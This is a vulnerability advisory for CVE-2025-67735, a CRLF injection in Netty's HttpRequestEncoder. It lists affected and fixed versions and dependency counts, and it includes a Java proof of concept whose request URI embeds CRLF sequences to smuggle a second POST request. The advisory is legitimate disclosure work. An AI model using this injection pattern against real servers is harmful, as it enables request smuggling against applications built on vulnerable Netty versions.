CVE-2025-67735
Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder
Description
Summary
The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Details
The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
PoC
Simple reproducer:
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Impact
Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.
Affected Maven artifacts (1)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| io.netty » netty-codec-http | < 4.1.129.Final>= 4.2.0.Alpha1, < 4.2.8.Final | 4.1.129.Final, 4.2.8.Final |
Blast radius
65% of the dependent artifacts (25,098) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 46,629 |
| 2 hops | 275,607 |
| 3 hops | 559,045 |
| 4 hops | 427,155 |
| 5 hops | 275,868 |
| 6 hops | 152,732 |
Most used dependents
- org.testcontainers » testcontainers4,109 usages
- io.netty » netty-all3,584 usages
- org.apache.hadoop » hadoop-common3,482 usages
- org.apache.spark » spark-sql3,174 usages
- redis.clients » jedis2,971 usages
- org.apache.spark » spark-core2,899 usages
- org.springframework.boot » spring-boot-starter-webflux2,764 usages
- com.android.tools.build » gradle2,197 usages
- io.vertx » vertx-core2,116 usages
- org.seleniumhq.selenium » selenium-java2,089 usages
- org.apache.zookeeper » zookeeper2,044 usages
- com.typesafe.play » play-test1,902 usages
- org.apache.hadoop » hadoop-client1,796 usages
- io.quarkus » quarkus-maven-plugin1,484 usages
- org.apache.kafka » kafka1,450 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
